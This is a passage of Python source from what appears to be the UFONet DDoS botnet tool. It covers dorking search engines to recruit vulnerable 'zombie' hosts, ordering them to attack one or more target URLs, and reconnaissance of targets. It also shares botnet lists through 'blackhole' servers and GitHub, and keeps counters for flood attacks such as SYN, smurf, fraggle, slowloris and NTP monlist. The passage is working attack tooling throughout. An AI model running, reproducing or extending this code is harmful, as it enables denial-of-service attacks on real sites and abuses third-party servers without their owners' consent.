backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
print('-'*25)
else:
backup_reply = "Y"
if backup_reply == "n" or backup_reply == "N":
print("\n[Info] [AI] Removing data stored and starting a new (auto)search...\n")
os.remove(self.humans_file)
zombies_restored = 0
print('-'*25 + "\n")
else:
print("\n[Info] [AI] Restoring data and starting a new (auto)search...\n")
print('-'*25 + "\n")
for zombie in restored:
zombies_found.append(zombie)
total_restored = zombies_restored
while stop_flag == False:
if not os.path.exists(self.humans_file) == True:
f = open(self.humans_file, 'w')
f.close()
lf = open(self.humans_file, 'r')
restored = lf.readlines()
lf.close()
zombies_restored = len(restored)
for e in engines_list:
zombies_counter = 0
engine = e
self.options.engine = engine
print('='*44 + '\n')
print(("[AI] Searching for zombies using: "+engine+'\n'))
print('='*44 + '\n')
for dork in dorks:
print('='*22)
print("Dork:", dork)
print('='*22 + '\n')
try:
dorked_zombies = self.search_zombies(dork, zombies_found)
for zombie in dorked_zombies:
if zombie not in zombies_found:
zombies_found.append(zombie)
if zombie+os.linesep not in restored:
with open(self.humans_file, "a") as f:
f.write(str(zombie+os.linesep))
f.close()
zombies_counter = zombies_counter + 1
except:
if zombies_found:
for zombie in zombies_found:
if zombie+os.linesep not in restored:
with open(self.humans_file, "a") as f:
f.write(str(zombie+os.linesep))
f.close()
if zombies_counter == 0:
print("[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n")
print('-'*25 + "\n")
engines_list.remove(engine)
if not engines_list:
print("[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n")
print('-'*25 + "\n")
stop_flag = True
new_zombies = 0
f = open(self.zombies_file, 'r')
zz = f.readlines()
f.close()
all_zombies_found = []
for z in zombies_found:
if z.endswith(os.linesep):
z = z.replace(os.linesep, "")
if z not in zz and z+os.linesep not in zz:
new_zombies = new_zombies + 1
all_zombies_found.append(z)
print('='*62)
print("\n- Victims found:", len(all_zombies_found), "\n")
print(" - Restored:", total_restored)
print(" - Dorked:", len(all_zombies_found) - total_restored, "\n")
print('-'*32)
print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
print('='*62 + '\n')
if len(zombies_found) > 0:
if not self.options.forceyes:
check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
print('-'*25)
else:
check_backup_reply = "Y"
if check_backup_reply == "n" or check_backup_reply == "N":
if os.path.isfile(self.humans_file):
os.remove(self.humans_file)
print("\n[Info] [AI] Temporal data correctly removed...\n")
else:
with open(self.humans_file, "w") as f:
for z in all_zombies_found:
if z.endswith(os.linesep):
z = z.replace(os.linesep, "")
if z not in zz or z+os.linesep not in zz:
f.write(z+os.linesep)
f.close()
print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
print('-'*25 + "\n")
if new_zombies and new_zombies > 0:
if not self.options.forceyes:
check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
print('-'*25 + "\n")
else:
check_url_link_reply = "Y"
if check_url_link_reply == "n" or check_url_link_reply == "N":
print("[AI] "+self.exit_msg+"\n")
pass
else:
print("\n" + '='*44)
test = self.testing(all_zombies_found)
else:
print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
except Exception:
print ("[Error] [AI] Something wrong (auto)searching...\n")
if options.test:
try:
self.banner()
zombies = self.extract_zombies()
if not zombies:
return
test = self.testing(zombies)
self.update_missions_stats()
except Exception:
print ("\n[Error] [AI] Something wrong testing!\n")
if DEBUG == True:
traceback.print_exc()
if options.testrpc:
try:
self.banner()
rpcs = self.extract_rpcs()
if not rpcs:
return
testrpc = self.testing_rpcs(rpcs)
self.update_missions_stats()
except Exception:
print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
if DEBUG == True:
traceback.print_exc()
if options.testoffline:
try:
self.banner()
testbotnet = self.testing_offline()
self.update_missions_stats()
except Exception:
print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
if DEBUG == True:
traceback.print_exc()
if options.testall:
try:
self.banner()
test_all_botnet = self.testing_all()
self.update_missions_stats()
except Exception:
print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
if DEBUG == True:
traceback.print_exc()
if options.target:
try:
self.banner()
zombies = self.extract_zombies()
if not zombies:
return
options.target = self.parse_url_encoding(options.target)
attack = self.attacking(zombies, options.target)
self.update_missions_stats()
except Exception:
print ("\n[Error] [AI] Something wrong attacking!\n")
if DEBUG == True:
traceback.print_exc()
if options.target_list:
try:
self.banner()
zombies = self.extract_zombies()
if not zombies:
return
targets = self.extract_target_list()
if not targets:
print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
return
self.options.forceyes = True
self.num_target_list = 0
print("\n[AI] Checking integrity of targets...\n")
for t in targets:
if not t.startswith("http"):
print("[Info] [AI] [Control] " + str(t) + " -> [Discarding!]")
targets.remove(t)
print("")
c = 0
for target in targets:
if target == "":
c = c + 1
else:
self.num_target_list = self.num_target_list + 1
if c == len(targets):
print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
return
else:
for target in targets:
self.options.target = self.parse_url_encoding(target)
target = self.options.target
print('='*55 + "\n")
print("[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n")
print("="*55)
attack = self.attacking(zombies, target)
self.update_missions_stats()
except Exception:
print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
if DEBUG == True:
traceback.print_exc()
if options.inspect:
try:
self.banner()
print("\n[AI] Inspecting target for local resources... to find the best place to attack... SSssh!\n")
print('='*22 + '\n')
self.instance = Inspector(self)
inspection = self.instance.inspecting(options.inspect)
self.update_missions_stats()
except Exception as e:
print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
if DEBUG == True:
traceback.print_exc()
return
if options.abduction:
try:
self.banner()
print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
print('='*22 + '\n')
self.instance = Abductor(self)
abduction = self.instance.abducting(options.abduction)
self.update_missions_stats()
except Exception as e:
print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
if DEBUG == True:
traceback.print_exc()
return
if options.attackme:
self.mothership_id = self.mothership_id[:25]
try:
self.banner()
print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
if not self.options.forceyes:
update_reply = input("[AI] Do you want to continue? (Y/n)")
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
print("\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n")
return
self.mothership_hash = str(random.getrandbits(128))
print("\n[Info] Mothership ID: " + self.mothership_id + "\n[Info] RND: " + self.mothership_hash)
print("\n[AI] Checking NAT/IP configuration:\n")
nat = self.check_nat()
f = open("alien", "w")
f.write(str(self.mothership_hash))
f.close()
if self.nat_error_flag == "ON":
return
zombies = self.extract_zombies()
if not zombies:
return
attackme = self.attackme(zombies)
self.update_missions_stats()
except Exception as e:
print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
if DEBUG == True:
traceback.print_exc()
return
if options.update:
self.banner()
try:
print("\n[AI] Trying to update automatically to the latest stable version\n")
Updater()
except:
print("Not any .git repository found!\n")
print("="*30)
print("\nTo have working this feature, you should clone UFONet with:\n")
print("$ git clone %s" % self.GIT_REPOSITORY)
print("\nAlso you can try this other mirror:\n")
print("$ git clone %s" % self.GIT_REPOSITORY2 + "\n")
if options.web:
self.create_web_interface()
return
if options.deploy is not None:
self.banner()
euid = self.checkeuid()
if euid != 0:
print("\n[Info] [AI] [Control] [DEPLOY] (--deploy) not started as root...\n")
try:
args = ['sudo', sys.executable] + sys.argv + [os.environ]
os.execlpe('sudo', *args)
except:
pass
try:
print("\n[AI] Trying to deploy data to share in: '"+self.warping_path+"'\n")
np = r''+self.warping_path+''
if not os.path.exists(np):
os.makedirs(np)
print("[AI] Created folder at: '"+self.warping_path+"'\n")
else:
print("[AI] Path to folder: '"+self.warping_path+"' exists! -> [Passing!]\n")
from pathlib import Path
import shutil
src = 'data/'
files=os.listdir(src)
print("[AI] GUI [Data] has been deployed...\n")
for fname in files:
shutil.copy2(os.path.join(src,fname), self.warping_path)
print(" - "+fname+" -> "+self.warping_path+"/"+fname)
os.chmod(self.warping_path+"/"+fname, self.warping_folder_permissions)
print("")
src2 = 'botnet/'
files=os.listdir(src2)
print("[AI] CORE [Botnet] has been deployed...\n")
for fname in files:
shutil.copy2(os.path.join(src2,fname), self.warping_path)
if fname == 'zombies.txt':
in_file = self.warping_path+"/"+fname
in_data = open(in_file, "rb").read()
out_gz = self.warping_path+"/"+"abductions.txt.gz"
gzf = gzip.open(out_gz, "wb")
gzf.write(in_data)
gzf.close()
os.unlink(in_file)
print(" - "+fname+" -> "+self.warping_path+"/"+"abductions.txt.gz")
os.chmod(self.warping_path+"/"+"abductions.txt.gz", self.warping_folder_permissions)
if fname == 'aliens.txt':
in_file = self.warping_path+"/"+fname
in_data = open(in_file, "rb").read()
out_gz = self.warping_path+"/"+"troops.txt.gz"
gzf = gzip.open(out_gz, "wb")
gzf.write(in_data)
gzf.close()
os.unlink(in_file)
print(" - "+fname+" -> "+self.warping_path+"/"+"troops.txt.gz")
os.chmod(self.warping_path+"/"+"troops.txt.gz", self.warping_folder_permissions)
if fname == 'droids.txt':
in_file = self.warping_path+"/"+fname
in_data = open(in_file, "rb").read()
out_gz = self.warping_path+"/"+"robots.txt.gz"
gzf = gzip.open(out_gz, "wb")
gzf.write(in_data)
gzf.close()
os.unlink(in_file)
print(" - "+fname+" -> "+self.warping_path+"/"+"robots.txt.gz")
os.chmod(self.warping_path+"/"+"robots.txt.gz", self.warping_folder_permissions)
if fname == 'ucavs.txt':
in_file = self.warping_path+"/"+fname
in_data = open(in_file, "rb").read()
out_gz = self.warping_path+"/"+"drones.txt.gz"
gzf = gzip.open(out_gz, "wb")
gzf.write(in_data)
gzf.close()
os.unlink(in_file)
print(" - "+fname+" -> "+self.warping_path+"/"+"drones.txt.gz")
os.chmod(self.warping_path+"/"+"drones.txt.gz", self.warping_folder_permissions)
if fname == 'rpcs.txt':
in_file = self.warping_path+"/"+fname
in_data = open(in_file, "rb").read()
out_gz = self.warping_path+"/"+"reflectors.txt.gz"
gzf = gzip.open(out_gz, "wb")
gzf.write(in_data)
gzf.close()
os.unlink(in_file)
print(" - "+fname+" -> "+self.warping_path+"/"+"reflectors.txt.gz")
os.chmod(self.warping_path+"/"+"reflectors.txt.gz", self.warping_folder_permissions)
if fname == 'snmp.txt':
in_file = self.warping_path+"/"+fname
in_data = open(in_file, "rb").read()
out_gz = self.warping_path+"/"+"bosons.txt.gz"
gzf = gzip.open(out_gz, "wb")
gzf.write(in_data)
gzf.close()
os.unlink(in_file)
print(" - "+fname+" -> "+self.warping_path+"/"+"bosons.txt.gz")
os.chmod(self.warping_path+"/"+"bosons.txt.gz", self.warping_folder_permissions)
if fname == 'ntp.txt':
in_file = self.warping_path+"/"+fname
in_data = open(in_file, "rb").read()
out_gz = self.warping_path+"/"+"crystals.txt.gz"
gzf = gzip.open(out_gz, "wb")
gzf.write(in_data)
gzf.close()
os.unlink(in_file)
print(" - "+fname+" -> "+self.warping_path+"/"+"crystals.txt.gz")
os.chmod(self.warping_path+"/"+"crystals.txt.gz", self.warping_folder_permissions)
if fname == 'dns.txt':
in_file = self.warping_path+"/"+fname
in_data = open(in_file, "rb").read()
out_gz = self.warping_path+"/"+"warps.txt.gz"
gzf = gzip.open(out_gz, "wb")
gzf.write(in_data)
gzf.close()
os.unlink(in_file)
print(" - "+fname+" -> "+self.warping_path+"/"+"warps.txt.gz")
os.chmod(self.warping_path+"/"+"warps.txt.gz", self.warping_folder_permissions)
if fname == 'dorks.txt':
print(" - "+fname+" -> "+self.warping_path+"/"+fname)
os.chmod(self.warping_path+"/"+fname, self.warping_folder_permissions)
print("")
print("[AI] [Info] [Control] [DEPLOY] Files are ready to be shared with other 'motherships'...\n\n[AI] [Info] [DEPLOY] Other requirements:\n")
print(" - 1) Setup web server (apache, nginx...)")
print(" - 2) Make your web server accessible from the Internet (NAT/VPS) <-> ex: 'http(s)://<your ip>/ufonet/'")
print(" - 3a) Start [Blackhole] with: './ufonet --blackhole' (or python3 ufonet --blackhole &)")
print(" - 3b) Start [Grider] with: './ufonet --grider' (or python3 ufonet --grider &)")
print(" - 4) Share your IP on the sneaknet! (ex: SHIP.RADAR) ;-)")
print("")
except Exception as e:
print("[Error] "+str(e))
print("\n[AI] Something was wrong deploying in: '/var/www/ufonet'... -> [Aborting!]\n")
if options.blackhole is not None:
self.banner()
try:
blackhole_lib = os.path.abspath(os.path.join('core/tools'))
sys.path.append(blackhole_lib)
from core.tools.blackhole import BlackHole
print("\n[AI] Initiating void generation sequence...\n")
print('='*22 + '\n')
app = BlackHole()
app.start()
while True: time.sleep(1)
except KeyboardInterrupt:
print("\n[AI] Terminating void generation sequence...\n")
app.collapse()
except Exception as e:
print("[Error] "+str(e))
print("\n[AI] Something was wrong generating [Blackhole]... -> [Aborting!]\n")
if options.grider is not None:
self.banner()
try:
grider_lib = os.path.abspath(os.path.join('core/tools'))
sys.path.append(grider_lib)
from core.tools.grider import Grider
print("\n[AI] Initiating void generation sequence...\n")
print('='*22 + '\n')
app = Grider()
app.start()
while True: time.sleep(1)
except KeyboardInterrupt:
print("\n[AI] Terminating void generation sequence...\n")
app.collapse()
except Exception as e:
print("[Error] "+str(e))
print("\n[AI] Something was wrong generating [Grider]... -> [Aborting!]\n")
if options.dip is not None:
options.download = True
self.blackhole = options.dip
if options.upip is not None:
options.upload = True
self.blackhole = options.upip
if options.download_nodes:
try:
self.banner()
print("\n[AI] Downloading list of [Zombies] from [Radar] [Blackhole] [Nodes] ...\n")
print('='*22 + '\n')
download_nodes_list = self.downloading_nodes_list()
except Exception as e:
print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
return
if options.download:
try:
self.banner()
if options.dip is not None:
print(("\n[AI] Downloading list of [Zombies] from [Private] server: "+self.blackhole+" ...\n"))
else:
print("\n[AI] Downloading list of [Zombies] from [Community] server ...\n")
print('='*22 + '\n')
download_list = self.downloading_list()
except Exception as e:
print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
return
if options.upload:
try:
self.banner()
if options.upip is not None:
print(("\n[AI] Uploading list of [Zombies] to [Private] server: "+self.blackhole+" ...\n"))
else:
print("\n[AI] Uploading list of [Zombies] to [Community] server ...\n")
print('='*22 + '\n')
upload_list = self.uploading_list()
except Exception as e:
print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
if DEBUG == True:
traceback.print_exc()
return
if options.download_github:
try:
self.banner()
print("\n[AI] Downloading list of [Zombies] from [GitHub] server ...\n")
print('='*22 + '\n')
download_github_list = self.downloading_github_list()
except Exception as e:
print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
return
if options.upload_github:
try:
self.banner()
print("\n[AI] Uploading 'zombies' to [GitHub] is simple. Follow the next steps:\n")
print('='*22 + '\n')
upload_github_list = self.uploading_github_list()
except Exception as e:
print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
if DEBUG == True:
traceback.print_exc()
return
def connect_zombies(self, zombie):
z=Zombie(self, zombie)
t = threading.Thread(target=z.connect, name=zombie)
t.start()
def connect_zombie(self, zombie):
z=Zombie(self,zombie)
return z.connect()
def extract_proxy(self, proxy):
sep = ":"
proxy_ip = proxy.rsplit(sep, 1)[0]
if proxy_ip.startswith('http://'):
proxy_ip = proxy_ip.replace('http://', '')
elif proxy_ip.startswith('https://'):
proxy_ip = proxy_ip.replace('https://', '')
if proxy_ip == '127.0.0.1':
proxy_ip = 'localhost'
proxy_port = proxy.rsplit(sep, 1)[1]
proxy_url = proxy_ip + ":" + proxy_port
return proxy_url
def proxy_transport(self, proxy):
proxy_url = self.extract_proxy(proxy)
proxy = urllib.request.ProxyHandler({'https': proxy_url})
opener = urllib.request.build_opener(proxy)
urllib.request.install_opener(opener)
def check_mothership_chargo(self):
f = open(self.zombies_file)
self.zombies = f.readlines()
self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
self.list_zombies = []
for zombie in self.zombies:
t = urlparse(zombie)
name_zombie = t.netloc
if name_zombie == "":
name_zombie = zombie
self.list_zombies.append(name_zombie)
self.num_zombies = str(len(self.zombies))
f.close()
f = open(self.aliens_file)
self.aliens = f.readlines()
self.aliens = [alien.replace('\n', '') for alien in self.aliens]
self.list_aliens = []
for alien in self.aliens:
t = urlparse(alien)
name_alien = t.netloc
if name_alien == "":
name_alien = alien
self.list_aliens.append(name_alien)
self.num_aliens = str(len(self.aliens))
f.close()
f = open(self.droids_file)
self.droids = f.readlines()
self.droids = [droid.replace('\n', '') for droid in self.droids]
self.list_droids = []
for droid in self.droids:
t = urlparse(droid)
name_droid = t.netloc
if name_droid == "":
name_droid = droid
self.list_droids.append(name_droid)
self.num_droids = str(len(self.droids))
f.close()
f = open(self.ucavs_file)
self.ucavs = f.readlines()
self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
self.list_ucavs = []
for ucav in self.ucavs:
t = urlparse(ucav)
name_ucav = t.netloc
if name_ucav == "":
name_ucav = ucav
self.list_ucavs.append(name_ucav)
self.num_ucavs = str(len(self.ucavs))
f.close()
f = open(self.rpcs_file)
self.rpcs = f.readlines()
self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
self.list_rpcs = []
for rpc in self.rpcs:
t = urlparse(rpc)
name_rpc = t.netloc
if name_rpc == "":
name_rpc = rpc
self.list_rpcs.append(name_rpc)
self.num_rpcs = str(len(self.rpcs))
f.close()
f = open(self.dnss_file)
self.dnss = f.readlines()
self.dnss = [dns.replace('\n', '') for dns in self.dnss]
self.list_dnss = []
for dns in self.dnss:
t = urlparse(dns)
name_dns = t.netloc
if name_dns == "":
name_dns = dns
self.list_dnss.append(name_dns)
self.num_dnss = str(len(self.dnss))
f.close()
f = open(self.ntps_file)
self.ntps = f.readlines()
self.ntps = [ntp.replace('\n', '') for ntp in self.ntps]
self.list_ntps = []
for ntp in self.ntps:
t = urlparse(ntp)
name_ntp = t.netloc
if name_ntp == "":
name_ntp = ntp
self.list_ntps.append(name_ntp)
self.num_ntps = str(len(self.ntps))
f.close()
f = open(self.snmps_file)
self.snmps = f.readlines()
self.snmps = [snmp.replace('\n', '') for snmp in self.snmps]
self.list_snmps = []
for snmp in self.snmps:
t = urlparse(snmp)
name_snmp = t.netloc
if name_snmp == "":
name_snmp = snmp
self.list_snmps.append(name_snmp)
self.num_snmps = str(len(self.snmps))
f.close()
self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs) + int(self.num_dnss) + int(self.num_ntps) + int(self.num_snmps))
return self.total_botnet
def update_flying_stats(self):
if not os.path.exists(self.mothership_stats_file) == True:
with open(self.mothership_stats_file, "w") as f:
json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "fraggle": "0", "xmas": "0", "ufoack": "0", "uforst": "0", "droper": "0", "overlap": "0", "pinger": "0", "ufoudp": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "sniper": "0", "crashed": "0"}, f, indent=4)
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
aflying = data["flying"]
aflying = str(int(aflying) + 1)
data["flying"] = aflying
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_mothership_stats(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
acompleted = data["completed"]
acompleted = str(int(acompleted) + 1)
data["completed"] = acompleted
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_targets_crashed(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
tcrashed = data["crashed"]
tcrashed = str(int(tcrashed) + 1)
data["crashed"] = tcrashed
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_missions_stats(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
missions = data["missions"]
missions = str(int(missions) + 1)
data["missions"] = missions
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_scanner_stats(self, num):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
scanner = data["scanner"]
scanner = str(int(scanner) + int(num))
data["scanner"] = scanner
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_transferred_stats(self, num):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
transferred = data["transferred"]
transferred = str(int(transferred) + int(num))
data["transferred"] = transferred
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_max_chargo(self, chargo):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
amax_chargo = data["max_chargo"]
if int(chargo) > int(amax_chargo):
amax_chargo = chargo
else:
amax_chargo = data["max_chargo"]
data["max_chargo"] = amax_chargo
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_loic_stats(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
aloic = data["loic"]
aloic = str(int(aloic) + 1)
self.total_loic = self.total_loic + 1
data["loic"] = aloic
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_loris_stats(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
aloris = data["loris"]
aloris = str(int(aloris) + 1)
self.total_loris = self.total_loris + 1
data["loris"] = aloris
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_ufosyn_stats(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
aufosyn = data["ufosyn"]
aufosyn = str(int(aufosyn) + 1)
self.total_syn = self.total_syn + 1
data["ufosyn"] = aufosyn
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_spray_stats(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
aspray = data["spray"]
aspray = str(int(aspray) + 1)
self.total_spray = self.total_spray + 1
data["spray"] = aspray
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_smurf_stats(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
asmurf = data["smurf"]
asmurf = str(int(asmurf) + 1)
self.total_smurf = self.total_smurf + 1
data["smurf"] = asmurf
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_fraggle_stats(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
afraggle = data["fraggle"]
afraggle = str(int(afraggle) + 1)
self.total_fraggle = self.total_fraggle + 1
data["fraggle"] = afraggle
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_xmas_stats(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
axmas = data["xmas"]
axmas = str(int(axmas) + 1)
self.total_xmas = self.total_xmas + 1
data["xmas"] = axmas
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_ufoack_stats(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
aufoack = data["ufoack"]
aufoack = str(int(aufoack) + 1)
self.total_ufoack = self.total_ufoack + 1
data["ufoack"] = aufoack
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_uforst_stats(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
auforst = data["uforst"]
auforst = str(int(auforst) + 1)
self.total_uforst = self.total_uforst + 1
data["uforst"] = auforst
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_droper_stats(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
adroper = data["droper"]
adroper = str(int(adroper) + 1)
self.total_droper = self.total_droper + 1
data["droper"] = adroper
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_overlap_stats(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
aoverlap = data["overlap"]
aoverlap = str(int(aoverlap) + 1)
self.total_overlap = self.total_overlap + 1
data["overlap"] = aoverlap
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_pinger_stats(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
apinger = data["pinger"]
apinger = str(int(apinger) + 1)
self.total_pinger = self.total_pinger + 1
data["pinger"] = apinger
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_ufoudp_stats(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
aufoudp = data["ufoudp"]
aufoudp = str(int(aufoudp) + 1)
self.total_ufoudp = self.total_ufoudp + 1
data["ufoudp"] = aufoudp
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_nuke_stats(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
anuke = data["nuke"]
anuke = str(int(anuke) + 1)
self.total_nuke = self.total_nuke + 1
data["nuke"] = anuke
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_tachyon_stats(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
atachyon = data["tachyon"]
atachyon = str(int(atachyon) + 1)
self.total_tachyon = self.total_tachyon + 1
data["tachyon"] = atachyon
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_monlist_stats(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
amonlist = data["monlist"]
amonlist = str(int(amonlist) + 1)
self.total_monlist = self.total_monlist + 1
data["monlist"] = amonlist
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def update_sniper_stats(self):
stats_json_file = open(self.mothership_stats_file, "r")
data = json.load(stats_json_file)
stats_json_file.close()
asniper = data["sniper"]
asniper = str(int(asniper) + 1)
self.total_sniper = self.total_sniper + 1
data["sniper"] = asniper
stats_json_file = open(self.mothership_stats_file, "w+")
stats_json_file.write(json.dumps(data))
stats_json_file.close()
def uploading_list(self):
from io import BytesIO
self.user_agent = random.choice(self.agents).strip()
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer}
abductions = "botnet/abductions.txt.gz"
troops = "botnet/troops.txt.gz"
robots = "botnet/robots.txt.gz"
drones = "botnet/drones.txt.gz"
reflectors = "botnet/reflectors.txt.gz"
crystals = "botnet/crystals.txt.gz"
warps = "botnet/warps.txt.gz"
bosons = "botnet/bosons.txt.gz"
if self.options.timeout:
try:
timeout = int(self.options.timeout)
except:
timeout = 5
else:
timeout = 5
if timeout < 1:
timeout = 5
try:
print("[AI] Checking integrity of [Blackhole]: "+self.blackhole+"\n")
if self.options.forcessl:
if self.options.proxy:
self.proxy_transport(options.proxy)
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
else:
if self.options.proxy:
self.proxy_transport(options.proxy)
